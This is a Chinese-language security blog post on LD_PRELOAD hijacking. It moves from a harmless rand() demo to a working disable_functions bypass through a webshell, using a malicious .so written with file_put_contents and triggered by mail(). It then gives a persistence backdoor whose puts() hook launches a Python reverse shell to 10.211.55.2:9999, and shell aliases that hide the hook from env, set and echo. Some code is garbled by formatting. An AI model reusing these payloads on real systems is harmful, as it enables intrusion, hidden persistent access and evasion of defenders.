LD_PRELOAD绕disable_function以及在后渗透中的作用

665次阅读
没有评论

共计 9649 个字符,预计需要花费 25 分钟才能阅读完成。

LD_PRELOAD 在 Linux 中的作用

LD_PRELOAD 是 Linux 系统中常用的环境变量,用于在程序运行时 预加载指定的共享库(.so 文件)
它的主要作用是在程序启动前,将用户指定的动态链接库优先加载到进程的地址空间中,从而可以 覆盖或拦截标准库函数的行为

.so(共享对象)文件中通常封装了一些可被其他程序调用的函数、变量或符号,目的是实现代码复用、模块化和动态链接。类似 Windows 的 DLL

基本原理

Linux 中的程序通常会动态链接到系统库(如 libc.so)。当程序调用某个函数(比如 mallocopenprintf 等),动态链接器(ld-linux.so)会在运行时解析这些符号并绑定到对应的实现。

LD_PRELOAD 的工作机制是:

  • 在程序启动时,动态链接器会 优先加载 LD_PRELOAD 指定的共享库;
  • 如果该库中定义了与标准库同名的函数,那么程序在调用该函数时,会 优先使用预加载库中的版本,而不是标准库中的原始实现。
    这就是 LD_PRELOAD 劫持的基本原理

我们先用一个简单的例子来演示 LD_PRELOAD

LD_PRELOAD=$PWD/1111.so ./1234 // 这样就先当于在运行 1234 前动态加载 1111.so,但下一次就不会了  
export LD_PRELOAD=$PWD/1111.so // 这里就先当于设置了全局环境变量,对所有都有约束  
unset LD_PRELOAD  // 这个就可以恢复最初的
/***********************************************************************
 * 
 * Project: guessing_game
 * 
 * Author: Travis Phillips
 * 
 * Date: 10/24/2020
 * 
 * Project Repo:
 *  https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
 * 
 * Purpose: This is code for a simple random number guessing game for
 *          a blog post on using LD_PRELOAD to hijack functions in an
 *          application, in this case, hijacking rand()
 * 
 * Compile: gcc guessing_game.c -o guessing_game
 * 
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

/////////////////////////////////
// App Constants
/////////////////////////////////
const char *TITLE = "Number Guessing Game";
const char *VER = "v1.0";

/////////////////////////////////
// Color Constants
/////////////////////////////////
#ifdef NOCOLOR
    const char *RED = "";
    const char *GREEN = "";
    const char *YELLOW = "";
    const char *NC = "";
#else
    const char *RED = "33[31;1m";
    const char *GREEN = "33[32;1m";
    const char *YELLOW = "33[33;1m";
    const char *NC = "33[0m";
#endif

int main(int argc, char **argv) {

    //////////////////////////////////////////////////////////////////
    // Initalize Variables.
    //////////////////////////////////////////////////////////////////
    unsigned int rand_num = 0;
    unsigned int user_guess = 0;
    time_t t = 0;

    //////////////////////////////////////////////////////////////////
    // Print the banner.
    //////////////////////////////////////////////////////////////////
    printf("nt%s---===[ %s %s]===---%snn", YELLOW, TITLE, VER, NC);

    //////////////////////////////////////////////////////////////////
    // Get the user's guess.
    //////////////////////////////////////////////////////////////////
    printf("[?] Guess a number between 0-31337 >");
    if (!scanf("%u", &user_guess) || user_guess > 31337) {printf("[%s!%s] %sERROR:%s Invalid input.nn", RED, NC, RED, NC);
        return 1;
    }

    //////////////////////////////////////////////////////////////////
    // Seed the random number generator with the current time.
    //////////////////////////////////////////////////////////////////
    srand((unsigned int) time(&t));

    //////////////////////////////////////////////////////////////////
    // Now get a random number between 1 and 31337.
    //////////////////////////////////////////////////////////////////
    rand_num = rand() % 31338;

    //////////////////////////////////////////////////////////////////
    // Print the variables if this is a debug build.
    //////////////////////////////////////////////////////////////////
    #ifdef DEBUG
        printf("[DEBUG] user_guess => %dn", user_guess);
        printf("[DEBUG]   rand_num => %dn", rand_num);
    #endif

    //////////////////////////////////////////////////////////////////
    // See if the users number is equal to the number generated. If
    // so, let the user know they won.
    //////////////////////////////////////////////////////////////////
    if (user_guess == rand_num){printf("[%s+%s] %sYou Win! :-)%snn", GREEN, NC, GREEN, NC);
        return 0;
    }

    //////////////////////////////////////////////////////////////////
    //      The user guessed wrong, let them know the lost.
    //////////////////////////////////////////////////////////////////
    printf("[%s-%s] %sYou lose. :-(%snn", RED, NC, RED, NC);
    return 1;
}

这是一个简单的猜数字游戏,调用了 rand()函数来生成随机数
LD_PRELOAD 绕 disable_function 以及在后渗透中的作用
可以看到生成的数字是随机的,现在我们利用 LD_PRELOAD 来劫持 rand()函数

/***********************************************************************
 * 
 * Project: rand_hijack.so
 * 
 * Author: Travis Phillips
 * 
 * Date: 10/24/2020
 * 
 * Project Repo:
 *  https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
 * 
 * Purpose: This is simple code for a LD_PRELOAD shared object that
 *          will make the call to rand() always return a static value
 *          of 42. We will use this to cheat in the number guessing
 *          game by making it not-so-random anymore.
 * 
 * Compile: gcc -FPIC -shared rand_hijack.c -o rand_hijack.so
 * 
***********************************************************************/
#include <stdio.h>

// Our version of rand() to hijack random number generation with.
int rand(void) {return 42; // The answer is always 42. It's always 42...}

将他编译成.so 文件

gcc -Wall -O3 -FPIC -shared src/rand_hijack.c -o rand_hijack.so

然后设置环境变量

export LD_PRELOAD=$PWD/rand_hijack.so

LD_PRELOAD 绕 disable_function 以及在后渗透中的作用
再次游戏后我们可以看到,每次 随机 的值都是 42,说明我们已经成功劫持 rand()函数

LD_PRELOAD 绕 disable_function

php.ini 文件里面可以设置禁用函数。
虽然禁用了 system 等可以直接执行命令的函数但是我们可以控制环境变量(如:putenv 等)来指定 LD_PRELOAD 实现加载恶意的 so 文件,而他的优先级肯定是高于 php.ini 的 disable_function 所以实现了 disable_function 的 bypass

加载顺序:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib

假设我们现在有了一个 webshell,但是打开了 disable_function。
那么我们可以去查看 php 的一些函数调用了哪些库函数
比如使用了 mail()函数,我们就可以去劫持 sendmail 的库函数然后触发 mail()
使用 readelf -Ws /usr/sbin/sendmail 命令来查看 sendmail 命令使用了哪些库函数

#mail.php
php
<?php
mail("a@localhost","","","","");
?>
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

LD_PRELOAD 绕 disable_function 以及在后渗透中的作用
可以看到 execve 所执行的动态链接库为 sendmail

readelf -Ws /usr/sbin/sendmail

Symbol table '.dynsym' contains 350 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 000000000000c360     0 SECTION LOCAL  DEFAULT   11
     2: 00000000000db000     0 SECTION LOCAL  DEFAULT   23
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fxstat@GLIBC_2.17 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tzset@GLIBC_2.17 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND socket@GLIBC_2.17 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND OPENSSL_init_crypto@OPENSSL_1_1_0 (3)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND srandom@GLIBC_2.17 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND SSL_set_accept_state@OPENSSL_1_1_0 (4)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.17 (2)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND BN_bin2bn@OPENSSL_1_1_0 (3)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND nis_list@LIBNSL_1.0 (5)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND SSL_shutdown@OPENSSL_1_1_0 (4)
    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND select@GLIBC_2.17 (2)
    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sasl_setprop@SASL2 (6)
    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getpwnam@GLIBC_2.17 (2)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fchmod@GLIBC_2.17 (2)
    17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fread@GLIBC_2.17 (2)
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strstr@GLIBC_2.17 (2)
    19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fdelt_chk@GLIBC_2.17 (2)
    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND BIO_free@OPENSSL_1_1_0 (3)
    21: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgid@GLIBC_2.17 (2)
    22: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND readlink@GLIBC_2.17 (2)
    23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sasl_decode64@SASL2 (6)
    24: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ldap_bind_s@OPENLDAP_2.4_2 (7)
    25: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND regerror@GLIBC_2.17 (2)
    26: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND X509_CRL_free@OPENSSL_1_1_0 (3)
    27: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.17 (2)
    28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sasl_server_start@SASL2 (6)
    ……

从中选取一个适合的库函数来进行劫持测试, 最终选择到的是第 82 行的 getuid


65: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND geteuid@GLIBC_2.17 (2)

编写恶意 so -> 通过 putenv 来设置 LD_PRELOAD 变量 -> 触发 mail 函数来调用我们编写的恶意 so


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {system("id > /tmp/evil.txt");
}
int geteuid()
{if (getenv("LD_PRELOAD") == NULL) {return 0;}
    unsetenv("LD_PRELOAD");
    payload();}

劫持 sendmail 使用的 geteuid 库函数,在其中调用 payload()函数

payload()函数执行 id 命令输出到 /tmp/evil.txt 进行测试

在一个与目标机器系统环境相近的环境下进行编译


gcc -c -fPIC evil.c -o evil
gcc -shared evil -o evil.so

把 evil.so 进行 base64 编码,利用 webshell,通过 file_put_contents 写入恶意 so


PostData:
1=file_put_contents('/tmp/evil.so',base64_decode(''))

写一点代码


<?php
put_env("LD_PRELOAD=/tmp/evil.so");
mail("mo60@localhost","","");
?>

将这段代码 base64 后写入文件随后访问,如果使用命令行在编码时需要注意转义引号


echo "<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>"|base64
PD9waHAKcHV0ZW52KCJMRF9QUkVMT0FEPS92YXIvd3d3L2hhY2suc28iKTsKbWFpbCgiYUBsb2NhbGhvc3QiLCIiLCIiLCIiLCIiKTsKPz4K

我们都知道蚁剑自带一个绕 disable_function

它的原理就是上传恶意 so 文件执行命令开一个新的 php 服务(没有 disable_function),然后开启一个代理访问这个 php 服务

除开使用插件外自己手动劫持还是有点麻烦的,那么有什么简单点的办法

我们可以通过 attribute 来进行 LD_PRELOAD 劫持

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");
    printf("i am hacker!!n");  // 这里可以进行修改
}

LD_PRELOAD 绕 disable_function 以及在后渗透中的作用

可以看到所有的命令执行都触发了危险的函数

NOTICE:so 文件的后缀名实际上可以为任意后缀,这样可以绕过一些文件上传的限制

所以:绕 disable_function 流程就是
寻找要劫持的函数源码插入恶意代码,编译恶意 so 文件
file_put_content 写入 so 文件劫持 mail 函数或者其他函数
调用函数触发恶意代码

LD_PRELOAD 后渗透利用

既然 LD_PRELOAD 可以在运行命令前执行自己隐藏的命令。那么显然我们可以利用 LD_PRELOAD 留下隐蔽持久化后门比如我们劫持 whoami 命令

┌──(kali ㉿ Rycarl)-[~]
└─$ readelf -Ws /bin/whoami|grep puts
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
    28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fputs_unlocked@GLIBC_2.2.5 (2)

整体逻辑如下:

  • 覆盖 puts 函数并在内部重写
  • 把原函数指针赋值给一个变量
  • 执行后门代码
  • 执行原函数
  • 正常返回值
    劫持后的代码

    
    #include <stdio.h>
    #include <unistd.h>
    #include <dlfcn.h>
    #include <stdlib.h>

int puts(const char message) {
int (
new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, “puts”);
system(“python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.211.55.2”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);'”);
result = new_puts(message);
return result;
}

但是 LD_PRELOAD 劫持也十分常见,所以往往很容易被发现
防守方可以使用
```bash
env
echo $LD_PRELOAD
set
export

等命令发现后门,我们可以尝试使用 alias 来把和后门有关的字段置空达到隐蔽

比如

alias echo='func(){ echo $* | sed"s!/root/hook.so! !g";};func'
alias env='func(){ env $* | grep -v"/root/hook.so";};func'
alias set='func(){ set $* | grep -v"/root/hook.so";};func'
alias export='func(){ export $* | grep -v"/root/hook.so";};func'
alias alias='func(){ alias"$@"| grep -v unalias | grep -v hook.so;};func'
alias unalias='func(){ if [ $# != 0]; then if [$* !="echo"]&&[$* !="env"]&&[$* !="set"]&&[$* !="export"]&&[$* !="alias"]&&[$* !="unalias"]; then unalias $*;else echo"-bash: unalias: ${*}: not found";fi;else echo"unalias: usage: unalias [-a] name [name ...]";fi;};func'
正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-12-03发表,共计9649字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码